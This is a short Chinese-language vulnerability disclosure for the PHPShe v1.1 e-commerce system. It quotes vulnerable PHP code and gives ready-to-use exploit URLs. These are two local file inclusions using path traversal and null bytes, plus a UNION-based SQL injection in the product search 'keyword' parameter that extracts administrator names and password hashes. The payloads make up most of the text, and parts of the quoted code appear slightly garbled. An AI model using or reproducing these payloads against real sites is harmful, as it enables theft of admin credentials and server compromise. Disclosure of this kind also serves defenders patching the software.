发布日期:2013-04.16
发布作者:Kn1f3
漏洞类型:SQL注入
漏洞描述:
0×00 整体大概参数传输
0×01 包含漏洞
//首页文件
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp:http://www.yunsec.net/phpshe_v1.1/index.php?mod=../../robots.txt%00
0×02 搜索注入
- //product.php文件
- case 'list':
- $category_id = intval($id);
- $info = $db->pe_select('category', array('category_id'=>$category_id));
- //搜索
- $sqlwhere = " and `product_state` = 1";
- pe_lead('hook/category.hook.php');
- if ($category_id) {
- where .= is_array($category_cidarrcategory_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- }
- $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
- if ($_g_orderby) {
- $orderby = explode('_', $_g_orderby);
- $sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
- }
- else {
- $sqlwhere .= " order by `product_id` desc";
- }
- $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
- //热卖排行
- $product_hotlistproduct_hotlist = product_hotlist();
- //当前路径
- $nowpath = category_path($category_id);
- $ = pe_seo($info['category_name']);
- include(pe_tpl('product_list.html'));
- //跟进selectall函数库
- public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
- {
- //处理条件语句
- $sqlwhere = $this->_dowhere($where);
- return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
- }
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
0×03 包含漏洞2
//exp://http://www.yunsec.net/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98